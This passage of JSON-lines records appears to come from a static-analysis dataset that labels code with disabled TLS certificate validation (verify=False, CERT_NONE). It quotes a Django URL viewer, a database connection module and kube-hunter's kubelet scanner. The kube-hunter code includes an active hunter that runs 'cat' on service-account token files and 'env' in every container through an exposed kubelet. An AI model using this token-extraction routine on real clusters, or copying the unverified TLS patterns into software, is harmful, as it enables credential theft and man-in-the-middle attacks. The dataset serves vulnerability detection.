Attribute.objects.filter(Q(value__icontains=url)).order_by('-timestamp')\n count = context['attributes'].count()\n if count > 0:\n context['attributes_count'] = count\n context['tws'] = tweet.objects.filter(Q(text__icontains=url)).order_by('-datetime')\n count = context['tws'].count()\n if count > 0:\n context['tws_count'] = count\n context['exs'] = Exploit.objects.filter(Q(text__icontains=url)).order_by('-datetime')\n count = context['exs'].count()\n if count > 0:\n context['exs_count'] = count\n\n return context\n\n def getResponse(self, url):\n ua = \"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko\"\n headers = {'User-Agent': ua}\n try:\n res = requests.get(url, headers=headers, verify=False)\n except Exception as e:\n logger.error(e)\n return\n res.encoding = res.apparent_encoding\n return res\n\n def getHash(self, res):\n if 'text/html' in res.headers[\"content-type\"]:\n sha256 = hashlib.sha256(res.text.encode('utf-8')).hexdigest()\n else:\n sha256 = hashlib.sha256(res.content).hexdigest()\n return sha256\n\n def getTitle(self, res):\n title = ''\n if 'text/html' in res.headers[\"content-type\"]:\n if '' in res.text:\n title = res.text.split('<title>')[1].split('')[0]\n elif '' in res.text:\n title = res.text.split('<TITLE>')[1].split('')[0]\n return title\n\n def getImage(self, url):\n imagehash = hashlib.md5(url.encode('utf-8')).hexdigest()\n if settings.STATIC_ROOT is None:\n filepath = settings.STATICFILES_DIRS[0] + \"webimg/\" + imagehash + \".png\"\n else:\n filepath = settings.STATIC_ROOT + \"webimg/\" + imagehash + \".png\"\n path = \"static/webimg/\" + imagehash + \".png\"\n options = {\n 'quiet': '',\n 'xvfb': '',\n }\n if not os.path.exists(filepath):\n try:\n imgkit.from_url(url, filepath, options=options)\n except Exception as e:\n logger.error(e)\n return\n return path\n\n def getSrc(self, url):\n imagehash = hashlib.md5(url.encode('utf-8')).hexdigest()\n if settings.STATIC_ROOT is None:\n filepath = settings.STATICFILES_DIRS[0] + \"websrc/\" + imagehash\n else:\n filepath = settings.STATIC_ROOT + \"websrc/\" + imagehash\n\n if not os.path.exists(filepath):\n ua = \"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko\"\n headers = {\n 'User-Agent': ua\n }\n try:\n res = requests.get(url, headers=headers, verify=False)\n except Exception as e:\n logger.error(e)\n return\n if \"content-type\" in res.headers:\n if 'text/html' in res.headers['content-type']:\n with open(filepath, 'w') as fp:\n fp.write(res.text)\n else:\n with open(filepath, 'wb') as fp:\n fp.write(res.content)\n return imagehash\n\nclass CodeView(TemplateView):\n template_name = 'url/code.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if not re.compile(r'\\w{32}').match(self.kwargs['pk']):\n return context\n if settings.STATIC_ROOT is None:\n srcpath = settings.STATICFILES_DIRS[0] + 'websrc/' + self.kwargs['pk']\n else:\n srcpath = settings.STATIC_ROOT + 'websrc/' + self.kwargs['pk']\n f = open(srcpath, 'r')\n context['websrc'] = f.read()\n f.close()\n return context\n\ndef getContents(request, pk):\n if not re.compile(r'(?=(\\b[a-fA-F0-9]{32}\\b))').match(pk):\n return redirect('index')\n if settings.STATIC_ROOT is None:\n filepath = settings.STATICFILES_DIRS[0] + 'websrc/' + pk\n else:\n filepath = settings.STATIC_ROOT + 'websrc/' + pk\n f = open(filepath, 'rb')\n contents = f.read()\n f.close()\n response = HttpResponse(contents)\n response[\"Content-Disposition\"] = \"filename=%s\" % pk\n return response", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 107, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}} {"id": "a1dd9060aade0b61b54992c81a094149aa93361be3fce415e5e5b9be5341d147", "license": {"spdx": ["MIT"], "repo": "sourcery-ai-bot/PageMail", "path": "API/db/connection.py", "repo_head_hexsha": "69f5a32be519e0480f35d5e10006b7228c1bc46f", "stack_hexsha": "4a58ab8ef26518590f71e32d7edcb2f0f377553e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 13, "entireCode": "from sqlalchemy import *\nfrom sqlalchemy.sql.functions import now\nfrom sqlalchemy.dialects.postgresql import UUID\nfrom uuid import uuid4\nfrom dotenv import load_dotenv\nimport databases\nimport os\nimport ssl\n\n# Set SSL options to enable postgres connection\ncontext = ssl.create_default_context()\ncontext.check_hostname = False\ncontext.verify_mode = ssl.CERT_NONE\n\n\n# Get environment variables\nDATABASE_URL = os.getenv(\"DATABASE_URL\")\nDATABASE_USE_SSL = False if os.getenv(\"DATABASE_USE_SSL\") == \"0\" else context\nDATABASE_MIN_CONNECTIONS = int(os.getenv(\"DATABASE_MIN_CONNECTIONS\"))\nDATABASE_MAX_CONNECTIONS = int(os.getenv(\"DATABASE_MAX_CONNECTIONS\"))\n\n\nmetadata = MetaData()\n\n# Define tables\nusers = Table(\n \"users\",\n metadata,\n Column(\"id\", UUID(as_uuid=False), primary_key=True, default=uuid4, unique=True),\n Column(\"name\", String, nullable=False, unique=False),\n Column(\"email\", String, nullable=False, unique=True),\n Column(\"password\", String, nullable=False),\n Column(\"date_added\", DateTime, server_default=now(), nullable=False),\n Column(\"is_active\", Boolean, nullable=False),\n )\n\npages = Table(\n \"pages\",\n metadata,\n Column(\"id\", UUID(as_uuid=False), primary_key=True, unique=True, default=uuid4),\n Column(\"url\", String, nullable=False),\n Column(\"date_added\", DateTime, server_default=now(), nullable=False),\n Column(\"user_id\", UUID(as_uuid=False), ForeignKey(\"users.id\"))\n)\n\npage_metadata = Table(\n 'page_metadata',\n metadata,\n Column('id', UUID(as_uuid=False), ForeignKey(\"pages.id\"), primary_key=True, unique=True),\n Column('title', String),\n Column('description', String)\n)\n\njobs = Table(\n \"jobs\", metadata,\n Column('id', Unicode(191, _warn_on_bytestring=False), primary_key=True),\n Column('next_run_time', Float(25), index=True),\n Column('job_state', LargeBinary, nullable=False),\n Column('user_id', UUID(as_uuid=False), ForeignKey('users.id'))\n)\n\n# Create database connection and tables.\ndatabase = databases.Database(DATABASE_URL, ssl=DATABASE_USE_SSL, min_size=DATABASE_MIN_CONNECTIONS, max_size=DATABASE_MAX_CONNECTIONS)\nengine = create_engine(DATABASE_URL)\nmetadata.create_all(engine)\n\ndef get_db():\n yield database", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 13, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}} {"id": "bfbdd9662482d17fb639ae820e88e267665a38cb93a6b0fb05a45a3e7ed74983", "license": {"spdx": ["Apache-2.0"], "repo": "PhilippGoecke/kube-hunter", "path": "kube_hunter/modules/hunting/kubelet.py", "repo_head_hexsha": "a5787264956581d47e5bafae7dc6b475dc8e7e0f", "stack_hexsha": "6f9e8f6b3936e0fc7e5570e63ac794b0f8dd0803", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 282, "entireCode": "import json\nimport logging\nimport time\nfrom enum import Enum\n\nimport re\nimport requests\nimport urllib3\nimport uuid\n\nfrom kube_hunter.conf import get_config\nfrom kube_hunter.core.events.event_handler import handler\nfrom kube_hunter.core.events.types import Vulnerability, Event, K8sVersionDisclosure\nfrom kube_hunter.core.types import (\n Hunter,\n ActiveHunter,\n KubernetesCluster,\n Kubelet,\n ExposedSensitiveInterfacesTechnique,\n ExecIntoContainerTechnique,\n GeneralDefenseEvasionTechnique,\n GeneralSensitiveInformationTechnique,\n PrivilegedContainerTechnique,\n AccessKubeletAPITechnique,\n)\nfrom kube_hunter.modules.discovery.kubelet import (\n ReadOnlyKubeletEvent,\n SecureKubeletEvent,\n)\n\nlogger = logging.getLogger(__name__)\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\nclass ExposedPodsHandler(Vulnerability, Event):\n \"\"\"An attacker could view sensitive information about pods that are\n bound to a Node using the /pods endpoint\"\"\"\n\n def __init__(self, pods):\n Vulnerability.__init__(\n self, component=Kubelet, name=\"Exposed Pods\", category=AccessKubeletAPITechnique, vid=\"KHV052\"\n )\n self.pods = pods\n self.evidence = f\"count: {len(self.pods)}\"\n\n\nclass AnonymousAuthEnabled(Vulnerability, Event):\n \"\"\"The kubelet is misconfigured, potentially allowing secure access to all requests on the kubelet,\n without the need to authenticate\"\"\"\n\n def __init__(self):\n Vulnerability.__init__(\n self,\n component=Kubelet,\n name=\"Anonymous Authentication\",\n category=ExposedSensitiveInterfacesTechnique,\n vid=\"KHV036\",\n )\n\n\nclass ExposedContainerLogsHandler(Vulnerability, Event):\n \"\"\"Output logs from a running container are using the exposed /containerLogs endpoint\"\"\"\n\n def __init__(self):\n Vulnerability.__init__(\n self,\n component=Kubelet,\n name=\"Exposed Container Logs\",\n category=AccessKubeletAPITechnique,\n vid=\"KHV037\",\n )\n\n\nclass ExposedRunningPodsHandler(Vulnerability, Event):\n \"\"\"Outputs a list of currently running pods,\n and some of their metadata, which can reveal sensitive information\"\"\"\n\n def __init__(self, count):\n Vulnerability.__init__(\n self,\n component=Kubelet,\n name=\"Exposed Running Pods\",\n category=AccessKubeletAPITechnique,\n vid=\"KHV038\",\n )\n self.count = count\n self.evidence = f\"{self.count} running pods\"\n\n\nclass ExposedExecHandler(Vulnerability, Event):\n \"\"\"An attacker could run arbitrary commands on a container\"\"\"\n\n def __init__(self):\n Vulnerability.__init__(\n self,\n component=Kubelet,\n name=\"Exposed Exec On Container\",\n category=ExecIntoContainerTechnique,\n vid=\"KHV039\",\n )\n\n\nclass ExposedRunHandler(Vulnerability, Event):\n \"\"\"An attacker could run an arbitrary command inside a container\"\"\"\n\n def __init__(self):\n Vulnerability.__init__(\n self,\n component=Kubelet,\n name=\"Exposed Run Inside Container\",\n category=ExecIntoContainerTechnique,\n vid=\"KHV040\",\n )\n\n\nclass ExposedPortForwardHandler(Vulnerability, Event):\n \"\"\"An attacker could set port forwarding rule on a pod\"\"\"\n\n def __init__(self):\n Vulnerability.__init__(\n self,\n component=Kubelet,\n name=\"Exposed Port Forward\",\n category=GeneralDefenseEvasionTechnique,\n vid=\"KHV041\",\n )\n\n\nclass ExposedAttachHandler(Vulnerability, Event):\n \"\"\"Opens a websocket that could enable an attacker\n to attach to a running container\"\"\"\n\n def __init__(self):\n Vulnerability.__init__(\n self,\n component=Kubelet,\n name=\"Exposed Attaching To Container\",\n category=ExecIntoContainerTechnique,\n vid=\"KHV042\",\n )\n\n\nclass ExposedHealthzHandler(Vulnerability, Event):\n \"\"\"By accessing the open /healthz handler,\n an attacker could get the cluster health state without authenticating\"\"\"\n\n def __init__(self, status):\n Vulnerability.__init__(\n self,\n component=Kubelet,\n name=\"Cluster Health Disclosure\",\n category=GeneralSensitiveInformationTechnique,\n vid=\"KHV043\",\n )\n self.status = status\n self.evidence = f\"status: {self.status}\"\n\n\nclass ExposedExistingPrivilegedContainersViaSecureKubeletPort(Vulnerability, Event):\n \"\"\"A malicious actor, that has confirmed anonymous access to the API via the kubelet's secure port, \\\ncan leverage the existing privileged containers identified to damage the host and potentially \\\nthe whole cluster\"\"\"\n\n def __init__(self, exposed_existing_privileged_containers):\n Vulnerability.__init__(\n self,\n component=KubernetesCluster,\n name=\"Exposed Existing Privileged Container(s) Via Secure Kubelet Port\",\n category=PrivilegedContainerTechnique,\n vid=\"KHV051\",\n )\n self.exposed_existing_privileged_containers = exposed_existing_privileged_containers\n\n\nclass PrivilegedContainers(Vulnerability, Event):\n \"\"\"A Privileged container exist on a node\n could expose the node/cluster to unwanted root operations\"\"\"\n\n def __init__(self, containers):\n Vulnerability.__init__(\n self,\n component=KubernetesCluster,\n name=\"Privileged Container\",\n category=PrivilegedContainerTechnique,\n vid=\"KHV044\",\n )\n self.containers = containers\n self.evidence = f\"pod: {containers[0][0]}, \" f\"container: {containers[0][1]}, \" f\"count: {len(containers)}\"\n\n\nclass ExposedSystemLogs(Vulnerability, Event):\n \"\"\"System logs are exposed from the /logs endpoint on the kubelet\"\"\"\n\n def __init__(self):\n Vulnerability.__init__(\n self,\n component=Kubelet,\n name=\"Exposed System Logs\",\n category=AccessKubeletAPITechnique,\n vid=\"KHV045\",\n )\n\n\nclass ExposedKubeletCmdline(Vulnerability, Event):\n \"\"\"Commandline flags that were passed to the kubelet can be obtained from the pprof endpoints\"\"\"\n\n def __init__(self, cmdline):\n Vulnerability.__init__(\n self,\n component=Kubelet,\n name=\"Exposed Kubelet Cmdline\",\n category=AccessKubeletAPITechnique,\n vid=\"KHV046\",\n )\n self.cmdline = cmdline\n self.evidence = f\"cmdline: {self.cmdline}\"\n\n\nclass KubeletHandlers(Enum):\n # GET\n PODS = \"pods\"\n # GET\n CONTAINERLOGS = \"containerLogs/{pod_namespace}/{pod_id}/{container_name}\"\n # GET\n RUNNINGPODS = \"runningpods\"\n # GET -> WebSocket\n EXEC = \"exec/{pod_namespace}/{pod_id}/{container_name}?command={cmd}&input=1&output=1&tty=1\"\n # POST, For legacy reasons, it uses different query param than exec\n RUN = \"run/{pod_namespace}/{pod_id}/{container_name}?cmd={cmd}\"\n # GET/POST\n PORTFORWARD = \"portForward/{pod_namespace}/{pod_id}?port={port}\"\n # GET -> WebSocket\n ATTACH = \"attach/{pod_namespace}/{pod_id}/{container_name}?command={cmd}&input=1&output=1&tty=1\"\n # GET\n LOGS = \"logs/{path}\"\n # GET\n PPROF_CMDLINE = \"debug/pprof/cmdline\"\n\n\n@handler.subscribe(ReadOnlyKubeletEvent)\nclass ReadOnlyKubeletPortHunter(Hunter):\n \"\"\"Kubelet Readonly Ports Hunter\n Hunts specific endpoints on open ports in the readonly Kubelet server\n \"\"\"\n\n def __init__(self, event):\n self.event = event\n self.path = f\"http://{self.event.host}:{self.event.port}\"\n self.pods_endpoint_data = \"\"\n\n def get_k8s_version(self):\n config = get_config()\n logger.debug(\"Passive hunter is attempting to find kubernetes version\")\n metrics = requests.get(f\"{self.path}/metrics\", timeout=config.network_timeout).text\n for line in metrics.split(\"\\n\"):\n if line.startswith(\"kubernetes_build_info\"):\n for info in line[line.find(\"{\") + 1 : line.find(\"}\")].split(\",\"):\n k, v = info.split(\"=\")\n if k == \"gitVersion\":\n return v.strip('\"')\n\n # returns list of tuples of Privileged container and their pod.\n def find_privileged_containers(self):\n logger.debug(\"Trying to find privileged containers and their pods\")\n privileged_containers = []\n if self.pods_endpoint_data:\n for pod in self.pods_endpoint_data[\"items\"]:\n for container in pod[\"spec\"][\"containers\"]:\n if container.get(\"securityContext\", {}).get(\"privileged\"):\n privileged_containers.append((pod[\"metadata\"][\"name\"], container[\"name\"]))\n return privileged_containers if len(privileged_containers) > 0 else None\n\n def get_pods_endpoint(self):\n config = get_config()\n logger.debug(\"Attempting to find pods endpoints\")\n response = requests.get(f\"{self.path}/pods\", timeout=config.network_timeout)\n if \"items\" in response.text:\n return response.json()\n\n def check_healthz_endpoint(self):\n config = get_config()\n r = requests.get(f\"{self.path}/healthz\", verify=False, timeout=config.network_timeout)\n return r.text if r.status_code == 200 else False\n\n def execute(self):\n self.pods_endpoint_data = self.get_pods_endpoint()\n k8s_version = self.get_k8s_version()\n privileged_containers = self.find_privileged_containers()\n healthz = self.check_healthz_endpoint()\n if k8s_version:\n self.publish_event(\n K8sVersionDisclosure(version=k8s_version, from_endpoint=\"/metrics\", extra_info=\"on Kubelet\")\n )\n if privileged_containers:\n self.publish_event(PrivilegedContainers(containers=privileged_containers))\n if healthz:\n self.publish_event(ExposedHealthzHandler(status=healthz))\n if self.pods_endpoint_data:\n self.publish_event(ExposedPodsHandler(pods=self.pods_endpoint_data[\"items\"]))\n\n\n@handler.subscribe(SecureKubeletEvent)\nclass SecureKubeletPortHunter(Hunter):\n \"\"\"Kubelet Secure Ports Hunter\n Hunts specific endpoints on an open secured Kubelet\n \"\"\"\n\n class DebugHandlers:\n \"\"\"all methods will return the handler name if successful\"\"\"\n\n def __init__(self, path, pod, session=None):\n self.path = path + (\"/\" if not path.endswith(\"/\") else \"\")\n self.session = session if session else requests.Session()\n self.pod = pod\n\n # outputs logs from a specific container\n def test_container_logs(self):\n config = get_config()\n logs_url = self.path + KubeletHandlers.CONTAINERLOGS.value.format(\n pod_namespace=self.pod[\"namespace\"],\n pod_id=self.pod[\"name\"],\n container_name=self.pod[\"container\"],\n )\n return self.session.get(logs_url, verify=False, timeout=config.network_timeout).status_code == 200\n\n # need further investigation on websockets protocol for further implementation\n def test_exec_container(self):\n config = get_config()\n # opens a stream to connect to using a web socket\n headers = {\"X-Stream-Protocol-Version\": \"v2.channel.k8s.io\"}\n exec_url = self.path + KubeletHandlers.EXEC.value.format(\n pod_namespace=self.pod[\"namespace\"],\n pod_id=self.pod[\"name\"],\n container_name=self.pod[\"container\"],\n cmd=\"\",\n )\n return (\n \"/cri/exec/\"\n in self.session.get(\n exec_url,\n headers=headers,\n allow_redirects=False,\n verify=False,\n timeout=config.network_timeout,\n ).text\n )\n\n # need further investigation on websockets protocol for further implementation\n def test_port_forward(self):\n pass\n # TODO: what to return?\n # Example starting code:\n #\n # config = get_config()\n # headers = {\n # \"Upgrade\": \"websocket\",\n # \"Connection\": \"Upgrade\",\n # \"Sec-Websocket-Key\": \"s\",\n # \"Sec-Websocket-Version\": \"13\",\n # \"Sec-Websocket-Protocol\": \"SPDY\",\n # }\n # pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(\n # pod_namespace=self.pod[\"namespace\"],\n # pod_id=self.pod[\"name\"],\n # port=80,\n # )\n\n # executes one command and returns output\n def test_run_container(self):\n config = get_config()\n run_url = self.path + KubeletHandlers.RUN.value.format(\n pod_namespace=\"test\",\n pod_id=\"test\",\n container_name=\"test\",\n cmd=\"\",\n )\n # if we get this message, we know we passed Authentication and Authorization, and that the endpoint is enabled.\n status_code = self.session.post(run_url, verify=False, timeout=config.network_timeout).status_code\n return status_code == requests.codes.NOT_FOUND\n\n # returns list of currently running pods\n def test_running_pods(self):\n config = get_config()\n pods_url = self.path + KubeletHandlers.RUNNINGPODS.value\n r = self.session.get(pods_url, verify=False, timeout=config.network_timeout)\n return r.json() if r.status_code == 200 else False\n\n # need further investigation on the differences between attach and exec\n def test_attach_container(self):\n config = get_config()\n # headers={\"X-Stream-Protocol-Version\": \"v2.channel.k8s.io\"}\n attach_url = self.path + KubeletHandlers.ATTACH.value.format(\n pod_namespace=self.pod[\"namespace\"],\n pod_id=self.pod[\"name\"],\n container_name=self.pod[\"container\"],\n cmd=\"\",\n )\n return (\n \"/cri/attach/\"\n in self.session.get(\n attach_url,\n allow_redirects=False,\n verify=False,\n timeout=config.network_timeout,\n ).text\n )\n\n # checks access to logs endpoint\n def test_logs_endpoint(self):\n config = get_config()\n logs_url = self.session.get(\n self.path + KubeletHandlers.LOGS.value.format(path=\"\"),\n timeout=config.network_timeout,\n ).text\n return \"
\" in logs_url\n\n        # returns the cmd line used to run the kubelet\n        def test_pprof_cmdline(self):\n            config = get_config()\n            cmd = self.session.get(\n                self.path + KubeletHandlers.PPROF_CMDLINE.value,\n                verify=False,\n                timeout=config.network_timeout,\n            )\n            return cmd.text if cmd.status_code == 200 else None\n\n    def __init__(self, event):\n        self.event = event\n        self.session = requests.Session()\n        if self.event.secure:\n            self.session.headers.update({\"Authorization\": f\"Bearer {self.event.auth_token}\"})\n            # self.session.cert = self.event.client_cert\n        # copy session to event\n        self.event.session = self.session\n        self.path = f\"https://{self.event.host}:10250\"\n        self.kubehunter_pod = {\n            \"name\": \"kube-hunter\",\n            \"namespace\": \"default\",\n            \"container\": \"kube-hunter\",\n        }\n        self.pods_endpoint_data = \"\"\n\n    def get_pods_endpoint(self):\n        config = get_config()\n        response = self.session.get(f\"{self.path}/pods\", verify=False, timeout=config.network_timeout)\n        if \"items\" in response.text:\n            return response.json()\n\n    def check_healthz_endpoint(self):\n        config = get_config()\n        r = requests.get(f\"{self.path}/healthz\", verify=False, timeout=config.network_timeout)\n        return r.text if r.status_code == 200 else False\n\n    def execute(self):\n        if self.event.anonymous_auth:\n            self.publish_event(AnonymousAuthEnabled())\n\n        self.pods_endpoint_data = self.get_pods_endpoint()\n        healthz = self.check_healthz_endpoint()\n        if self.pods_endpoint_data:\n            self.publish_event(ExposedPodsHandler(pods=self.pods_endpoint_data[\"items\"]))\n        if healthz:\n            self.publish_event(ExposedHealthzHandler(status=healthz))\n        self.test_handlers()\n\n    def test_handlers(self):\n        config = get_config()\n        # if kube-hunter runs in a pod, we test with kube-hunter's pod\n        pod = self.kubehunter_pod if config.pod else self.get_random_pod()\n        if pod:\n            debug_handlers = self.DebugHandlers(self.path, pod, self.session)\n            try:\n                # TODO: use named expressions, introduced in python3.8\n                running_pods = debug_handlers.test_running_pods()\n                if running_pods:\n                    self.publish_event(ExposedRunningPodsHandler(count=len(running_pods[\"items\"])))\n                cmdline = debug_handlers.test_pprof_cmdline()\n                if cmdline:\n                    self.publish_event(ExposedKubeletCmdline(cmdline=cmdline))\n                if debug_handlers.test_container_logs():\n                    self.publish_event(ExposedContainerLogsHandler())\n                if debug_handlers.test_exec_container():\n                    self.publish_event(ExposedExecHandler())\n                if debug_handlers.test_run_container():\n                    self.publish_event(ExposedRunHandler())\n                if debug_handlers.test_port_forward():\n                    self.publish_event(ExposedPortForwardHandler())  # not implemented\n                if debug_handlers.test_attach_container():\n                    self.publish_event(ExposedAttachHandler())\n                if debug_handlers.test_logs_endpoint():\n                    self.publish_event(ExposedSystemLogs())\n            except Exception:\n                logger.debug(\"Failed testing debug handlers\", exc_info=True)\n\n    # trying to get a pod from default namespace, if doesn't exist, gets a kube-system one\n    def get_random_pod(self):\n        if self.pods_endpoint_data:\n            pods_data = self.pods_endpoint_data[\"items\"]\n\n            def is_default_pod(pod):\n                return pod[\"metadata\"][\"namespace\"] == \"default\" and pod[\"status\"][\"phase\"] == \"Running\"\n\n            def is_kubesystem_pod(pod):\n                return pod[\"metadata\"][\"namespace\"] == \"kube-system\" and pod[\"status\"][\"phase\"] == \"Running\"\n\n            pod_data = next(filter(is_default_pod, pods_data), None)\n            if not pod_data:\n                pod_data = next(filter(is_kubesystem_pod, pods_data), None)\n\n            if pod_data:\n                container_data = pod_data[\"spec\"][\"containers\"][0]\n                if container_data:\n                    return {\n                        \"name\": pod_data[\"metadata\"][\"name\"],\n                        \"container\": container_data[\"name\"],\n                        \"namespace\": pod_data[\"metadata\"][\"namespace\"],\n                    }\n\n\n\"\"\" Active Hunters \"\"\"\n\n\n@handler.subscribe(AnonymousAuthEnabled)\nclass ProveAnonymousAuth(ActiveHunter):\n    \"\"\"Foothold Via Secure Kubelet Port\n    Attempts to demonstrate that a malicious actor can establish foothold into the cluster via a\n    container abusing the configuration of the kubelet's secure port: authentication-auth=false.\n    \"\"\"\n\n    def __init__(self, event):\n        self.event = event\n        self.base_url = f\"https://{self.event.host}:10250/\"\n\n    def get_request(self, url, verify=False):\n        config = get_config()\n        try:\n            response_text = self.event.session.get(url=url, verify=verify, timeout=config.network_timeout).text.rstrip()\n\n            return response_text\n        except Exception as ex:\n            logging.debug(\"Exception: \" + str(ex))\n            return \"Exception: \" + str(ex)\n\n    def post_request(self, url, params, verify=False):\n        config = get_config()\n        try:\n            response_text = self.event.session.post(\n                url=url, verify=verify, params=params, timeout=config.network_timeout\n            ).text.rstrip()\n\n            return response_text\n        except Exception as ex:\n            logging.debug(\"Exception: \" + str(ex))\n            return \"Exception: \" + str(ex)\n\n    @staticmethod\n    def has_no_exception(result):\n        return \"Exception: \" not in result\n\n    @staticmethod\n    def has_no_error(result):\n        possible_errors = [\"exited with\", \"Operation not permitted\", \"Permission denied\", \"No such file or directory\"]\n\n        return not any(error in result for error in possible_errors)\n\n    @staticmethod\n    def has_no_error_nor_exception(result):\n        return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result)\n\n    def cat_command(self, run_request_url, full_file_path):\n        return self.post_request(run_request_url, {\"cmd\": f\"cat {full_file_path}\"})\n\n    def process_container(self, run_request_url):\n        service_account_token = self.cat_command(run_request_url, \"/var/run/secrets/kubernetes.io/serviceaccount/token\")\n\n        environment_variables = self.post_request(run_request_url, {\"cmd\": \"env\"})\n\n        if self.has_no_error_nor_exception(service_account_token):\n            return {\n                \"result\": True,\n                \"service_account_token\": service_account_token,\n                \"environment_variables\": environment_variables,\n            }\n\n        return {\"result\": False}\n\n    def execute(self):\n        pods_raw = self.get_request(self.base_url + KubeletHandlers.PODS.value)\n\n        # At this point, the following must happen:\n        # a) we get the data of the running pods\n        # b) we get a forbidden message because the API server\n        # has a configuration that denies anonymous attempts despite the kubelet being vulnerable\n\n        if self.has_no_error_nor_exception(pods_raw) and \"items\" in pods_raw:\n            pods_data = json.loads(pods_raw)[\"items\"]\n\n            temp_message = \"\"\n            exposed_existing_privileged_containers = list()\n\n            for pod_data in pods_data:\n                pod_namespace = pod_data[\"metadata\"][\"namespace\"]\n                pod_id = pod_data[\"metadata\"][\"name\"]\n\n                for container_data in pod_data[\"spec\"][\"containers\"]:\n                    container_name = container_data[\"name\"]\n\n                    run_request_url = self.base_url + f\"run/{pod_namespace}/{pod_id}/{container_name}\"\n\n                    extracted_data = self.process_container(run_request_url)\n\n                    if extracted_data[\"result\"]:\n                        service_account_token = extracted_data[\"service_account_token\"]\n                        environment_variables = extracted_data[\"environment_variables\"]\n\n                        temp_message += (\n                            f\"\\n\\nPod namespace: {pod_namespace}\"\n                            + f\"\\n\\nPod ID: {pod_id}\"\n                            + f\"\\n\\nContainer name: {container_name}\"\n                            + f\"\\n\\nService account token: {service_account_token}\"\n                            + f\"\\nEnvironment variables: {environment_variables}\"\n                        )\n\n                        first_check = container_data.get(\"securityContext\", {}).get(\"privileged\")\n\n                        first_subset = container_data.get(\"securityContext\", {})\n                        second_subset = first_subset.get(\"capabilities\", {})\n                        data_for_second_check = second_subset.get(\"add\", [])\n\n                        second_check = \"SYS_ADMIN\" in data_for_second_check\n\n                        if first_check or second_check:\n                            exposed_existing_privileged_containers.append(\n                                {\n                                    \"pod_namespace\": pod_namespace,\n                                    \"pod_id\": pod_id,\n                                    \"container_name\": container_name,\n                                    \"service_account_token\": service_account_token,\n                                    \"environment_variables\": environment_variables,\n                                }\n                            